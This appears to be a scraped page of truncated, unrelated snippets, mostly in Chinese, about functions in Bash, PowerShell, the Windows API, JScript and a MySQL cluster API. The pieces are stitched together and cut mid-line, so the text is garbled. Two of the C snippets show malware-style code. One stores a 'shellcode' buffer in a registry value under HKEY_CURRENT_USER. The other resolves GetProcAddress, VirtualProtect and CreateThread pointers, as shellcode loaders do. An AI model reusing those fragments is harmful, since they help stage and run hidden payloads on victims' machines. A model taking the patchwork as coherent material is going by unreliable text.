function 函数名() { 代码 } 或 函数名 (){ ---不写function关键字也可以 代码 } 调用函数: shell代码中,直接写函数名,即可调用。 案例: vi test.sh #!/bin/bash function qiuHe(){ shu=1 sum=0 while [ $shu -le 100 ]; do let sum=$sum+$shu let shu=$shu+1 done echo $sum } echo ...
function f ($x, $y) {return $x + $y} $H = @{x = 1;y = 2} #要注意哈希表键的个数与名称与函数参数一致 Write-Host (f @H) #输出为3 若不使用引用类型,且函数参数与外部变量同名,则在函数中修改函数参数的值的时候,外部变量的值不会被修改。 若函数调用与其他表达式成分一起构成表达式,要...
在PowerShell 中,此类型为 System.Management.Automation.FunctionInfo。CommandType 的类型为 System.Management.Automation.CommandTypes。 Options 的类型为 System.Management.Automation.ScopedItemOptions。 OutputType 的类型为 System.Collections.ObjectModel.ReadOnlyCollection``1[[System.Management.Automation.PSTypeName,...
function Test-UserDrivePath{ [OutputType([bool])] param( [Parameter(Mandatory, Position=0)] [ValidateUserDrive()] [string]$Path ) $True } Test-UserDrivePath -Path C:\ Output 复制 Test-UserDrivePath: Cannot validate argument on parameter 'Path'. The path argument drive C ...
Return value Remarks Show 2 more Sends a message to the taskbar's status area. Syntax C++Copy BOOLShell_NotifyIconW( [in] DWORD dwMessage, [in] PNOTIFYICONDATAW lpData ); Parameters [in] dwMessage Type:DWORD A value that specifies the action to be taken by this function. It can have...
sts = RegOpenKeyExA(HKEY_CURRENT_USER,REGISTRY,0, KEY_SET_VALUE, &keys); if(sts == NULL){ bs = FALSE; } sts = RegSetValueExA(keys, REGSTRING, 0, REG_BINARY, shellcode, shellcodeSize); if(sts == NULL){ bs = FALSE; } _EndOfFunction: if (keys) RegCloseKey(keys); return bs;...
strcmp((const char*)FunctionName, "GetProcAddress")) { return F_va_Tmp; } } } // 定义函数指针类型 typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR); typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD); typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, ...
When this function is used, all the members that are ONLINE from the point of view of the given instance definition will be added to the group. Attention The password option will be removed in a future release. String getName() Retrieves the name of the cluster. ...
function BrowseFolder() { var Message = "清选择文件夹"; var Shell = new ActiveXObject( "Shell.Application" ); var Folder = Shell.BrowseForFolder(0,Message,0x0040,0x11); if(Folder != null) { Folder = Folder.items(); // 返回 FolderItems 对象 ...
类型: VARIANT_BOOL*如果设置存在,则设置为 true ;否则为 false。示例以下示例演示如何将 GetSetting 用于JScript、VBScript 和 Visual Basic。Jscript:JScript 复制 function fnIShellDispatch4GetSettingJ() { var objIShellDispatch4 = new ActiveXObject("Shell.Application"); var vReturn; var ssfSHOWALLOBJECT...